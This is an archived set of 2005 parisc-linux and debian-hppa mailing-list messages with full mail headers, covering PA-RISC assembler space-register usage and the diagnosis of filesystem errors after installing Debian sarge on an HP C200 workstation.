National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Sat, 8 Oct 2005 15:50:35 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200510081950.j98JoZ9k015452@hiauly1.hia.nrc.ca>
References: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623927 16796 80.91.229.3 (22 Nov 2014 02:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Oct 2005 19:50:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 08 Oct 2005 21:50:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33EF77D667;
	Sat,  8 Oct 2005 13:50:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24825-08; Sat, 8 Oct 2005 13:50:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BCFC7D664;
	Sat,  8 Oct 2005 13:50:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB037D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Oct 2005 13:50:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24674-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Oct 2005 13:50:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C24D57D659
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Oct 2005 13:50:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j98JoZr8015453; Sat, 8 Oct 2005 15:50:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j98JoZ9k015452;
	Sat, 8 Oct 2005 15:50:35 -0400 (EDT)
In-Reply-To: <200509292321.j8TNLc60012238@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Sep 29, 2005 07:21:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QkY6Y10deSEkaL6WZHQhaXN1IGRvbwB3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23171

> > Yes and Yes. But my reading of the PA1.1 arch says it *only* has a 2-bit
> > s field.
> 
> Oops, my mix up (fic/fdc confusion).  However, don't add sr0 to the
> instruction.

I see that the change was committed with the addition of "%sr0" in the
fdc instructions.  Explicitly mentioning %sr0 in instructions with 2-bit
s-fields is discouraged.  It's unnecessary and there could be confusion
regarding its effect.  In instructions with 3-bit s-fields, %sr0 is
treated in the same manner as the other space registers.  I may add
a warning about using %sr0 in instructions with 2-bit s-fields.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa2 ccio patch
Date: Tue, 11 Oct 2005 12:04:01 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200510111604.j9BG41Q7021242@hiauly1.hia.nrc.ca>
References: <IO7AYH$A873EF9A4A4D74961990E3C295F405D8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623928 16800 80.91.229.3 (22 Nov 2014 02:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:48 +0000 (UTC)
Cc: doko@debian.org,
 parisc-linux@lists.parisc-linux.org,
 james@nocrew.org,
 tsg45800@scarlet.be
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2005 16:04:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 11 Oct 2005 18:04:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94BBB7D6E4;
	Tue, 11 Oct 2005 10:04:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18014-10; Tue, 11 Oct 2005 10:04:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2B337D6E8;
	Tue, 11 Oct 2005 10:04:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096727D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 10:04:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18009-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 10:04:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5F37E7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 10:04:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j9BG42r8021244; Tue, 11 Oct 2005 12:04:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j9BG41Q7021242;
	Tue, 11 Oct 2005 12:04:01 -0400 (EDT)
In-Reply-To: <IO7AYH$A873EF9A4A4D74961990E3C295F405D8@scarlet.be> from "Joel
	Soete" at Oct 11, 2005 04:59:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1Ic5Y/hZeSEkbL6WZHQhaXN1IGRvbwC5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23172

> May I abuse of your presious time: I also recompile the kernel for a d380=
> 
> which uses ccio-dma in its term uses insn lci (see attached precompile .s=

I'll look at it.  As I recall, there wasn't much information about lha.
If lha and lci are the same, we should be using lci in the disassebly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Trying to install sarge on a C200
Date: Tue, 11 Oct 2005 15:54:53 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20051011215453.GA13161__39465.227435767$1416623928$gmane$org@colo.lackof.org>
References: <434A195B.5010201@albacom.net> <20051010161557.GA15072@colo.lackof.org> <434BDE68.1070605@albacom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623928 16803 80.91.229.3 (22 Nov 2014 02:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:48 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Fabio Bizzi <bizzi@albacom.net>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2005 21:48:09 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx065) with SMTP; 11 Oct 2005 23:48:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id DEA4D2EB72; Tue, 11 Oct 2005 16:48:06 -0500 (CDT)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 1DC932EA52
	for <debian-hppa@lists.debian.org>; Tue, 11 Oct 2005 16:48:01 -0500 (CDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0405C29804C;
	Tue, 11 Oct 2005 15:54:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13509-06; Tue, 11 Oct 2005 15:54:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7346E298056; Tue, 11 Oct 2005 15:54:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <434BDE68.1070605@albacom.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-08-24_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.2 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <2LCYRC.A.h5F.WMDTDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4860
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 11 Oct 2005 16:48:06 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: TlY+Y1BTeSEkM76WZHQhaXN1IGRvb0D/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23173

On Tue, Oct 11, 2005 at 05:46:48PM +0200, Fabio Bizzi wrote:
> Yesterday night I've tried the following:
> 
> 1) Started installation form sarge netboot
> 2) Standard partitioning with a "/" partition fo about 35.5GB
> 3) Run installation till reboot question
> 
> Instead rebooting I've started a shell, unmounted "/target" and started 
> a fsck to check the root partition with this output:
> 
> 8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---
> 
> ~ # fsck.ext3 /dev/discs/disc0/part5 -f
> e2fsck 1.37 (21-Mar-2005)
> Pass 1: Checking inodes, blocks, and sizes
> Inode 1311742 has illegal block(s).  Clear<y>? yes
> 
> Illegal block #12 (3271557120) in inode 1311742.  CLEARED.
> Illegal block #13 (637534208) in inode 1311742.  CLEARED.
...

Ok. Definitely problems with this. Something wrong with high inode counts.
Can someone map where those inodes live on the disk?
Ie which block number would they reside on (about)?

> So, I think that sarge netinst kernel probably has a bug for partition 
> bigger than 18GB. :(

Maybe...does using two partitions solve avoid those issues?

> Do you think I'd do:
> 
> 1) Tring an installation from "etch" netinst CD
> or
> 2) Continue with sarge netinst and use two 18GB partition

Your choice. two 18GB partions should work fine too.
My preference would be to try the "etch" netinst CD but I don't
have a clue if that works better or not for C200.

> Please let me know because at home I have no fast internet connection 
> and if I'd try the sarge option I'll download at office the installation 
> CD and the packages DVD.
> 
> Thanks a lot to everybody! :)

welcome - and thanks for your patience and tenacity.

ciao!
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trying to install sarge on a C200
Date: Tue, 11 Oct 2005 15:54:53 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20051011215453.GA13161__5996.4231717915$1416623928$gmane$org@colo.lackof.org>
References: <434A195B.5010201@albacom.net>
	<20051010161557.GA15072@colo.lackof.org>
	<434BDE68.1070605@albacom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623928 16807 80.91.229.3 (22 Nov 2014 02:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Fabio Bizzi <bizzi@albacom.net>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2005 21:48:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 11 Oct 2005 23:48:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6656F7D6EB;
	Tue, 11 Oct 2005 15:48:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19146-06; Tue, 11 Oct 2005 15:48:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F2DB7D6EC;
	Tue, 11 Oct 2005 15:48:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D503A7D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 15:48:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19146-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 15:48:01 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 314CD7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Oct 2005 15:48:01 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0405C29804C;
	Tue, 11 Oct 2005 15:54:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13509-06; Tue, 11 Oct 2005 15:54:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7346E298056; Tue, 11 Oct 2005 15:54:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <434BDE68.1070605@albacom.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SFY+Y6gMeSEkML6WZHQhaXN1IGRvbwCN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23174

On Tue, Oct 11, 2005 at 05:46:48PM +0200, Fabio Bizzi wrote:
> Yesterday night I've tried the following:
> 
> 1) Started installation form sarge netboot
> 2) Standard partitioning with a "/" partition fo about 35.5GB
> 3) Run installation till reboot question
> 
> Instead rebooting I've started a shell, unmounted "/target" and started 
> a fsck to check the root partition with this output:
> 
> 8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---8<---
> 
> ~ # fsck.ext3 /dev/discs/disc0/part5 -f
> e2fsck 1.37 (21-Mar-2005)
> Pass 1: Checking inodes, blocks, and sizes
> Inode 1311742 has illegal block(s).  Clear<y>? yes
> 
> Illegal block #12 (3271557120) in inode 1311742.  CLEARED.
> Illegal block #13 (637534208) in inode 1311742.  CLEARED.
...

Ok. Definitely problems with this. Something wrong with high inode counts.
Can someone map where those inodes live on the disk?
Ie which block number would they reside on (about)?

> So, I think that sarge netinst kernel probably has a bug for partition 
> bigger than 18GB. :(

Maybe...does using two partitions solve avoid those issues?

> Do you think I'd do:
> 
> 1) Tring an installation from "etch" netinst CD
> or
> 2) Continue with sarge netinst and use two 18GB partition

Your choice. two 18GB partions should work fine too.
My preference would be to try the "etch" netinst CD but I don't
have a clue if that works better or not for C200.

> Please let me know because at home I have no fast internet connection 
> and if I'd try the sarge option I'll download at office the installation 
> CD and the packages DVD.
> 
> Thanks a lot to everybody! :)

welcome - and thanks for your patience and tenacity.

ciao!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <bizzi@albacom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trying to install sarge on a C200
Date: Wed, 12 Oct 2005 12:44:51 +0200
Organization: albacom.net
Lines: 40
Approved: news@gmane.org
Message-ID: <434CE923.8030607__44204.9639802009$1416623929$gmane$org@albacom.net>
References: <434A195B.5010201@albacom.net>
	<20051010161557.GA15072@colo.lackof.org>
	<434BDE68.1070605@albacom.net>
	<20051011215453.GA13161@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623929 16810 80.91.229.3 (22 Nov 2014 02:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:49 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2005 10:45:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 12 Oct 2005 12:45:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59BB07D70C;
	Wed, 12 Oct 2005 04:45:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22791-04; Wed, 12 Oct 2005 04:45:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E5CD7D708;
	Wed, 12 Oct 2005 04:45:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 194B77D704
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Oct 2005 04:45:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22671-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Oct 2005 04:45:26 -0600 (MDT)
Original-Received: from ns2.albacom.net (ns2.albacom.net [212.17.192.209])
	by free.linux.hp.com (Postfix) with ESMTP id 4627F7D703
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Oct 2005 04:45:26 -0600 (MDT)
Original-Received: from util.albacom.net (util.albacom.net [212.17.192.196])
	by ns2.albacom.net (8.12.11/8.12.11) with ESMTP id j9CAjM1H028538;
	Wed, 12 Oct 2005 12:45:22 +0200 (MEST)
Original-Received: from [10.254.239.111] ([10.254.239.111])
	by util.albacom.net (8.9.3/8.9.3) with ESMTP id MAA27779;
	Wed, 12 Oct 2005 12:38:38 +0200 (MET DST)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <20051011215453.GA13161@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GIw+YyIBeSEkO76WZHQhaXN1IGRvb0Db
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23175

Hi Grant,

Grant Grundler wrote:
[...]
> Your choice. two 18GB partions should work fine too.
> My preference would be to try the "etch" netinst CD but I don't
> have a clue if that works better or not for C200.

Ok, let's try etch... ;)

>>Please let me know because at home I have no fast internet connection 
>>and if I'd try the sarge option I'll download at office the installation 
>>CD and the packages DVD.

Ok, my c200 has a cdrom but no dvd-rom and no internet broadband 
connection, so for sarge I've copied the two DVD-ROM to my laptop and 
published by http, and apt works.
